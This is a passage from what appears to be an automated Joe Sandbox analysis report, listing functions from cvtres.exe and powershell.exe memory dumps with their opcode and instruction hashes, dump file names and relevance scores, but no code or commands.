Opcode Fuzzy Hash: fa52c40f1b15f6417c1783568edb403c5056736a4af29bf9395f6a1cc5ab6040
Instruction Fuzzy Hash: 65217434E1014ADFCB44DFB8E9A44AEBB76FF84304B50885DD405AB355DB316A49CB90

Uniqueness

Uniqueness Score: -1.00%

Function 054CBAB0 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.619121309.00000000054C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 054C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_54c0000_cvtres.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cde0ade3bbb259a3ded3f9de3e22e2664cc90f50dfb1c66f55c4645cc90e48bc
Instruction ID: 0c8e6662a8be7c3af0b4c097028f8d13ebd638b4b9189416e56deeb2bb39dfc2
Opcode Fuzzy Hash: cde0ade3bbb259a3ded3f9de3e22e2664cc90f50dfb1c66f55c4645cc90e48bc
Instruction Fuzzy Hash: 172126B5A002098FDB10CF99D989BEEBBF5FB88314F54846AE405A3740D7749945CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 054C5810 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.619121309.00000000054C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 054C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_54c0000_cvtres.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a1735005a7ff4021907679d1fb2d26e8180331957d164bef63c3b3683ba68fe
Instruction ID: 7058524c0bc220d42d75f7c17ead5286aac5ff66d3fcc2341a370fde880a1d3a
Opcode Fuzzy Hash: 6a1735005a7ff4021907679d1fb2d26e8180331957d164bef63c3b3683ba68fe
Instruction Fuzzy Hash: A4216034E0010EAFCB44DFA9E8A48AEB7B7FFC4304B50882DD415AB355DB316A49CB90

Uniqueness

Uniqueness Score: -1.00%

Function 054C7058 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.619121309.00000000054C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 054C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_54c0000_cvtres.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bdf309007d19e082fd7a8f5e0b0c9651017713e176373d4003a76ce1c2172ed1
Instruction ID: f14b5f6bd7f868f8c948e869b9c9d98fceecbb1ae39d842dd33c4ce848b5df63
Opcode Fuzzy Hash: bdf309007d19e082fd7a8f5e0b0c9651017713e176373d4003a76ce1c2172ed1
Instruction Fuzzy Hash: 1921EA74700215CFCB55DB75D5196AE7BF2FB88201F1040AED502A7391DB35AD41CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 054C4C9F Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.619121309.00000000054C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 054C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_54c0000_cvtres.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 380ccaf0ad60768da8e23e21fd864af27dd16ff0bdb3eb5d6e44e6c0ad1f98fa
Instruction ID: 7464ae003f5dbd969973ee0b90f2544b0e5e113b9051c19fd6fcbec6e46c09cd
Opcode Fuzzy Hash: 380ccaf0ad60768da8e23e21fd864af27dd16ff0bdb3eb5d6e44e6c0ad1f98fa
Instruction Fuzzy Hash: 5F1193757002154FCB10EB68C6548AFB7F6AFC4315B41C96EE516DB3A4DB71EC058B90

Uniqueness

Uniqueness Score: -1.00%

Function 054C57D4 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.619121309.00000000054C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 054C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_54c0000_cvtres.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 543c25229f2290ceeea4b580d8390694f0f366b31a3c0287e180f011e8aee15b
Instruction ID: fea805d75e712258d7d3b0eeeff1f6b2c7da5457e7b294600c3ab491c7d85b4c
Opcode Fuzzy Hash: 543c25229f2290ceeea4b580d8390694f0f366b31a3c0287e180f011e8aee15b
Instruction Fuzzy Hash: 0001A5753102149FC754DB6DE458A6B7BA6EFC9350F00446EE6068B362CE71AC058BE4

Uniqueness

Uniqueness Score: -1.00%

Function 054C0C5B Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.619121309.00000000054C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 054C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_54c0000_cvtres.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f9bff4ecedc567f1d724b334ca8de7b6edda6c262def18a15b1982b28b53120d
Instruction ID: 03baefbfcf658a6daa62af26490bc1775282f7afc52ab86ecdd700acbd9cda7c
Opcode Fuzzy Hash: f9bff4ecedc567f1d724b334ca8de7b6edda6c262def18a15b1982b28b53120d
Instruction Fuzzy Hash: 5611C279A0534BCFCB05DB78C4584EEBFB2EF85250B1480ABC8489F381DA309A06C7D1

Uniqueness

Uniqueness Score: -1.00%

Function 054C4AC0 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.619121309.00000000054C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 054C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_54c0000_cvtres.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d44199473f8db81e44ad024770d3bf88b21c6dbe9c627111e7f00a8a1331211
Instruction ID: 10b59eb45d468b31c073966dedd90fe72c8cf3a39c2e1e8da7e7344c0a6cd977
Opcode Fuzzy Hash: 4d44199473f8db81e44ad024770d3bf88b21c6dbe9c627111e7f00a8a1331211
Instruction Fuzzy Hash: 6E11737890424A8EDF40DB74DE787EFBFB6AF84205F1044AEC441B7151EB355905C760

Uniqueness

Uniqueness Score: -1.00%

Function 054C80F0 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.619121309.00000000054C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 054C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_54c0000_cvtres.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 193d6813fd0ee162c885b1b6c57c54fd57b0d2ecd0972b8060d3d3b7abf83422
Instruction ID: 9790d411e2a6960df2704b90b02ec6861e07bd8cbfd734393f0f6b5b86e5af38
Opcode Fuzzy Hash: 193d6813fd0ee162c885b1b6c57c54fd57b0d2ecd0972b8060d3d3b7abf83422
Instruction Fuzzy Hash: BE019E7AA002198FC750EF78E80A4DABFF5FF8862071044AAE456D7316EB309A04CBD0

Uniqueness

Uniqueness Score: -1.00%

Function 054C0C70 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.619121309.00000000054C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 054C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_54c0000_cvtres.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 84f7508efd47dd773f235f76c69cde6694ef7048f831d1a69a1a646953191f2a
Instruction ID: 9be349f2dd866f5c2459717dd3295aabf05976b31fbfc71841dc8322eac16fd3
Opcode Fuzzy Hash: 84f7508efd47dd773f235f76c69cde6694ef7048f831d1a69a1a646953191f2a
Instruction Fuzzy Hash: B6015279B0420ACBCB58DB59D4585AFFBB6EBC4250B10806ED909AB344EA709D45CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 054CDC51 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.619121309.00000000054C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 054C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_54c0000_cvtres.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c733133381c316629ecd78fcf07b0563f31157521264e36dd7d484867cbd932
Instruction ID: ff0ed16909c7a82deb3951d7df9bda544e4e1cbc3495501bf4f3d9b0c8eee97f
Opcode Fuzzy Hash: 5c733133381c316629ecd78fcf07b0563f31157521264e36dd7d484867cbd932
Instruction Fuzzy Hash: ED015639A04244CFC760DF29D8449E67FB6FFC061170589FFD8468B666DA70E845CA91

Uniqueness

Uniqueness Score: -1.00%

Function 054C78DD Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.619121309.00000000054C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 054C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_54c0000_cvtres.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6832b73ed89838362b39173d8617f778ebd8d84db2831dc8cabe637b9aa6b853
Instruction ID: 6739a0f0eda360006e1c849f4026a8250482fad55974e506397930d032660a22
Opcode Fuzzy Hash: 6832b73ed89838362b39173d8617f778ebd8d84db2831dc8cabe637b9aa6b853
Instruction Fuzzy Hash: F4018C39614209CFCB41CB78D0849E8BBF0FF89235F1580EAD408AB361C731A959CF51

Uniqueness

Uniqueness Score: -1.00%

Function 054CBB8C Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.619121309.00000000054C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 054C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_54c0000_cvtres.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a934c3d6ca867a25500ef3bfa0d792411ee76cf90ab49c12eb982bae9dbd963
Instruction ID: 1a6ca01cf01bc8f6aac21781721762a83e3b6add610b89de09d6189200fcedd4
Opcode Fuzzy Hash: 8a934c3d6ca867a25500ef3bfa0d792411ee76cf90ab49c12eb982bae9dbd963
Instruction Fuzzy Hash: 01110975A00205DFDB10CFAAC4859EEBBF2EB4C320B248169E914A7360CA309D41DB54

Uniqueness

Uniqueness Score: -1.00%

Function 054CBB98 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.619121309.00000000054C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 054C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_54c0000_cvtres.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ceb7d6a61cac5c3c5244c60baed3346eb0b39bbfa213c4eb13761261cc5b413
Instruction ID: 7876a9fbd3e90ceadb9f55365ca09cae2f65ecd2da939ddf74201e3ed67f78ac
Opcode Fuzzy Hash: 4ceb7d6a61cac5c3c5244c60baed3346eb0b39bbfa213c4eb13761261cc5b413
Instruction Fuzzy Hash: EB01CC75900209DFCB10CFAAC5859DEBFF5EF4D220F25C199E914A7361CA309D40DBA4

Uniqueness

Uniqueness Score: -1.00%

Function 054C81B0 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.619121309.00000000054C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 054C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_54c0000_cvtres.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d5e11a4e3289ddfc9d1c1ce6a4183b6a9a60c479ec4766874a2b8348e90f1b7
Instruction ID: ddf7599d0a7d0b9c1bc50c6d0e9607f77decd1d23bcab0f11dbc69e51a3954b1
Opcode Fuzzy Hash: 1d5e11a4e3289ddfc9d1c1ce6a4183b6a9a60c479ec4766874a2b8348e90f1b7
Instruction Fuzzy Hash: 3FF0F6357050704BC710AAACB4086EBBB95EBC1665F0880EEEA49DB783CE15DC1187E0

Uniqueness

Uniqueness Score: -1.00%

Function 054C81A0 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.619121309.00000000054C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 054C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_54c0000_cvtres.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cae7f6434651e79a279cf59a8efa9010b2f45647436ed2a81517fd19cecd267b
Instruction ID: ea4b3f87cd90dc3eafa0949c9ccec8476c1dcfa0e88c9434c319f212caf05d84
Opcode Fuzzy Hash: cae7f6434651e79a279cf59a8efa9010b2f45647436ed2a81517fd19cecd267b
Instruction Fuzzy Hash: ECF0E93671C2E14FC3129E69A4181E27FA5EF83165B1940EFD544CB783C619ED52C7E1

Uniqueness

Uniqueness Score: -1.00%

Function 054CEC39 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.619121309.00000000054C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 054C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_54c0000_cvtres.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4fddc4bbb58bab939edea166f1ac5ce22f1d6da795143139cfe8a71582cc565c
Instruction ID: 158001f5b69361fe64c54011972a04b76a988525c027b1252bb2286cf52e127b
Opcode Fuzzy Hash: 4fddc4bbb58bab939edea166f1ac5ce22f1d6da795143139cfe8a71582cc565c
Instruction Fuzzy Hash: DDF069312097808FC317C738A920159BFB35F8321070984EFD0A9CBAA2DA28A885CB55

Uniqueness

Uniqueness Score: -1.00%

Function 054CBC28 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.619121309.00000000054C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 054C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_54c0000_cvtres.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 813869b270a2f52147c50adcc1b8a45496a606253ad66c698b4a08e3b98b43b5
Instruction ID: 5ce11ac1bf934b2e4c9a661896d8cf821da78c1d4913f947dece3d70cd4d475a
Opcode Fuzzy Hash: 813869b270a2f52147c50adcc1b8a45496a606253ad66c698b4a08e3b98b43b5
Instruction Fuzzy Hash: 78F082763152119FC3004BA9B844956BFB6EFC923232540BBF509C7362DA75DC258BE1

Uniqueness

Uniqueness Score: -1.00%

Function 054C8100 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.619121309.00000000054C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 054C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_54c0000_cvtres.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2799ebf8ba333a8f5a87bafb6cb66c8b8d729b9edee0864fddb6d175edaa5ac
Instruction ID: 1934ceda6124f66f34c9f99e9627f7077a9a4817d23ba00f7f38ada1814a214d
Opcode Fuzzy Hash: b2799ebf8ba333a8f5a87bafb6cb66c8b8d729b9edee0864fddb6d175edaa5ac
Instruction Fuzzy Hash: 09F06D75A002248FCB50EF78E90949EBBF5EF48620750896ED51AE7311EB70AE04CFC0

Uniqueness

Uniqueness Score: -1.00%

Function 054C80C8 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.619121309.00000000054C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 054C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_54c0000_cvtres.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3bffe723381cc421215133a5229eacc3cb3eaf3f99d8e3cbae66aea37b86ccec
Instruction ID: ae3e976ae5438fd5f1ae9e5840d64e762c270effbe7a15e6cad8178ea98d7fe6
Opcode Fuzzy Hash: 3bffe723381cc421215133a5229eacc3cb3eaf3f99d8e3cbae66aea37b86ccec
Instruction Fuzzy Hash: F1F06D7A204291CFC750CF38E8194D67FB2EF8666135089AED056CB223C770AD54CB80

Uniqueness

Uniqueness Score: -1.00%

Function 054CECA0 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.619121309.00000000054C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 054C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_54c0000_cvtres.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d777997316c51be46ce6ec23a7d8558e9514e676e3aebd6c7d9610a02a40d731
Instruction ID: f30d11e5bf45e5a64f30f3f6cfdb70ab9072e2d7aeb2b9e62d9183b55523b455
Opcode Fuzzy Hash: d777997316c51be46ce6ec23a7d8558e9514e676e3aebd6c7d9610a02a40d731
Instruction Fuzzy Hash: 06F04975E042098FCB84DFA8D4829ADBFF0EB48210B1085AFD809D7322D3319642CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 054CC401 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.619121309.00000000054C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 054C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_54c0000_cvtres.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a996fc9f8fa762fe225b97291d3c4c6df2725d66e96dc72098caa884702230d5
Instruction ID: 27b8521e47c28a7c1a28c12b47d8ef108fcca63af61fe3c66b135f8c048888ba
Opcode Fuzzy Hash: a996fc9f8fa762fe225b97291d3c4c6df2725d66e96dc72098caa884702230d5
Instruction Fuzzy Hash: 09F02B312043915FC3026B74F8195567FB2DF8B221B0480A6E140C7253D7294825DBD5

Uniqueness

Uniqueness Score: -1.00%

Function 054C7743 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.619121309.00000000054C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 054C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_54c0000_cvtres.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dcea841cf3e179ce102e47801614d1738a6f30eca31e55650dde8794e8cbd2da
Instruction ID: c3d8093565ecae479d05001452616cd11de1c75b408fc0d6dfc4bd9cd684c8f8
Opcode Fuzzy Hash: dcea841cf3e179ce102e47801614d1738a6f30eca31e55650dde8794e8cbd2da
Instruction Fuzzy Hash: 9CE0DF7A7102545FC70612BE78180ABBFABCFCB2223094067E547C7BA2DD254D4583F2

Uniqueness

Uniqueness Score: -1.00%

Function 054CE9AF Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.619121309.00000000054C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 054C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_54c0000_cvtres.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e4928f68c489174b7daf0330e3b7171c5ed384bed19af5de694908dac876439
Instruction ID: 15a88fb529f0b4b38ccd66b1d07428af5274ff72ad7249f8c10c7ba4d210b57d
Opcode Fuzzy Hash: 7e4928f68c489174b7daf0330e3b7171c5ed384bed19af5de694908dac876439
Instruction Fuzzy Hash: 70F03778A042598FDB65CF94C544BEEBBF1BB88210F1444CAD442BB291C7755E40CAA0

Uniqueness

Uniqueness Score: -1.00%

Function 054CD36B Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.619121309.00000000054C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 054C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_54c0000_cvtres.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e0ce12b4d7e388631f8b21434a4e570987bc81a9d57b590ecb9876286023072
Instruction ID: be3ef49687253f42c68371541fca5fee170b1f62c90cbd23e9d765d799d8cd85
Opcode Fuzzy Hash: 9e0ce12b4d7e388631f8b21434a4e570987bc81a9d57b590ecb9876286023072
Instruction Fuzzy Hash: CCE06D367096925FC7156AA8E81C4AA7FA2AFC121230541BFE04ADB227CB659841C7B0

Uniqueness

Uniqueness Score: -1.00%

Function 054C4C38 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.619121309.00000000054C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 054C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_54c0000_cvtres.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ac1fcac5e6daad9a02c5ab1d78396da1165e354b1e953b997b300465444c1a6
Instruction ID: 89a036f9edd738503ca6c3224d1edf82dc9be0b44fafe7555a2feffac9f68745
Opcode Fuzzy Hash: 1ac1fcac5e6daad9a02c5ab1d78396da1165e354b1e953b997b300465444c1a6
Instruction Fuzzy Hash: B0F0A034901205EFCB41DFB0FA159AEBBB1EF81600B1049AED404C7252DB351E04DB61

Uniqueness

Uniqueness Score: -1.00%

Function 054CBC38 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.619121309.00000000054C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 054C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_54c0000_cvtres.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e04d19c56f405603f7b9713160d8f72dd1734f321d7e32335de7a1a0e818164d
Instruction ID: 4580538c4029358274066f0ca54ccf1dad4663020f40b3921dab0af4c2b62a8a
Opcode Fuzzy Hash: e04d19c56f405603f7b9713160d8f72dd1734f321d7e32335de7a1a0e818164d
Instruction Fuzzy Hash: 28E04F763101106BC7049A6EF888D4AFBEAEFCD660715403EF609C7361C972EC158BB0

Uniqueness

Uniqueness Score: -1.00%

Function 054CD378 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.619121309.00000000054C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 054C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_54c0000_cvtres.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dffb06c98d0457da8e79ec16e47fbf37564e6c74159bdc246ad61ecfb3733c6a
Instruction ID: 616d11a0a7bc4903a24ac3f50eaa067b0f428a596601214e93f99fdacd36f6ba
Opcode Fuzzy Hash: dffb06c98d0457da8e79ec16e47fbf37564e6c74159bdc246ad61ecfb3733c6a
Instruction Fuzzy Hash: D9E0863A70465657C7142AA9F80D55B7B99FFC0715300407ED50EC7221DFA5A84087E4

Uniqueness

Uniqueness Score: -1.00%

Function 054C7750 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.619121309.00000000054C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 054C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_54c0000_cvtres.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49e1d7ff0feeef5ebc983c5ea6ee7104a72733f5ae60285ba41f7e9cc4b488fc
Instruction ID: 8bd8fd4f0a20e1715ac1ccc8eccfd79fbb6b049bbb8b082d822c3f808090b42a
Opcode Fuzzy Hash: 49e1d7ff0feeef5ebc983c5ea6ee7104a72733f5ae60285ba41f7e9cc4b488fc
Instruction Fuzzy Hash: AED05E6A7501185B871822FE781C46BBADBCBC9621308803AEA4BC3B92ED259C4502F1

Uniqueness

Uniqueness Score: -1.00%

Function 054CC410 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.619121309.00000000054C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 054C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_54c0000_cvtres.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e112b4b23db26d60698ea2cdaa84850f76244430c8404ccd9a90fbf184f29bf
Instruction ID: 9fa039a606ae66deb6c2669a242335ff52e96724d2447a9e36d5aeb4b52148f1
Opcode Fuzzy Hash: 7e112b4b23db26d60698ea2cdaa84850f76244430c8404ccd9a90fbf184f29bf
Instruction Fuzzy Hash: DDE02B35300110ABD300B765F819A477FA7EBCB764F048468E3048B356DB32D8109FD0

Uniqueness

Uniqueness Score: -1.00%

Function 054C6C00 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.619121309.00000000054C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 054C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_54c0000_cvtres.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91990764baa045b26131787a865c958400ab350d23d011ef6fc91434fe681d8b
Instruction ID: 1e2a68b0ea4ddd1a28990acc66ae4c48e7d1b9b88d9b575b544f78dabfb1e611
Opcode Fuzzy Hash: 91990764baa045b26131787a865c958400ab350d23d011ef6fc91434fe681d8b
Instruction Fuzzy Hash: 39E0C231B010508FEB40ABF5E10955E7FA7AF92261B5404EED5058F3A6CA39DC14C786

Uniqueness

Uniqueness Score: -1.00%

Function 054C4C48 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.619121309.00000000054C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 054C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_54c0000_cvtres.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7c838623803e6dcd598b7eb9be0afb284c39fb3e61bed64fb1fb07adb13926f
Instruction ID: b8656b061c695f2caa918600dc74690a6b780b7b035ef8804919e257cf9ff9e8
Opcode Fuzzy Hash: f7c838623803e6dcd598b7eb9be0afb284c39fb3e61bed64fb1fb07adb13926f
Instruction Fuzzy Hash: 70E0BF74A10209EFCB50EFA4F95586EB7F9EB44211B1149AED80497311DA316F50AB91

Uniqueness

Uniqueness Score: -1.00%

Function 054CECB0 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.619121309.00000000054C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 054C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_54c0000_cvtres.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a990b545b435558b39f87913386531ec281d53c09a10d864772b50ccca3c0c32
Instruction ID: f947797b2a62423481883c39769386c405edf603f1dc9ceb0f60607c8d013f6c
Opcode Fuzzy Hash: a990b545b435558b39f87913386531ec281d53c09a10d864772b50ccca3c0c32
Instruction Fuzzy Hash: D7E09AB4D042099F8784DFA8C54196DBBF5FB48210B1085AAD909D7311E7319A52CFD1

Uniqueness

Uniqueness Score: -1.00%

Function 054C6C10 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.619121309.00000000054C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 054C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_54c0000_cvtres.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58405d49f1dd3028257f69ca4d559b4fc1fce456650f6cdaccc2bf099ec5c927
Instruction ID: ff09d9bb6f39bff3471e405fe339cc5e4fa29005de903821f38d0d57aea05a91
Opcode Fuzzy Hash: 58405d49f1dd3028257f69ca4d559b4fc1fce456650f6cdaccc2bf099ec5c927
Instruction Fuzzy Hash: 7DD0A7307000145BCA40A6F9F04885D77DE9F866507904069E106DB355CE35EC0047D5

Uniqueness

Uniqueness Score: -1.00%

Function 054CEC80 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.619121309.00000000054C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 054C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_54c0000_cvtres.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 439524860c91a38bc46496ff71caa32bd2f261f2cd305a707c5fe32affc004f8
Instruction ID: 173e2622537d12f1c6c43c5f06cb10e19daf20a9ce70d502a5089e5af74eb237
Opcode Fuzzy Hash: 439524860c91a38bc46496ff71caa32bd2f261f2cd305a707c5fe32affc004f8
Instruction Fuzzy Hash: F6D022310013104BC325E67CD500401B79B9E8323034083AED07A4BBC0CF23BC40C39C

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: powershell.exePID: 7524, Parent PID: 7476COMMON

Executed Functions

Function 00007FFBAC19853C Relevance: .7, Instructions: 662COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.475161397.00007FFBAC190000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFBAC190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffbac190000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 978581065fa90ad8556c13dcaccb64c0bed36f9264bc71da0d5113fe60c1e44b
Instruction ID: bf4d25353a190e279007411c2812ecc5edaefd29253bd2773fcc2e8aeb4ac972
Opcode Fuzzy Hash: 978581065fa90ad8556c13dcaccb64c0bed36f9264bc71da0d5113fe60c1e44b
Instruction Fuzzy Hash: FF22D870A18A4D8FEB8ADF2CC495AA97BE1FF59310F14417DD44AC7296CA34EC42CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFBAC1968D0 Relevance: .2, Instructions: 220COMMON

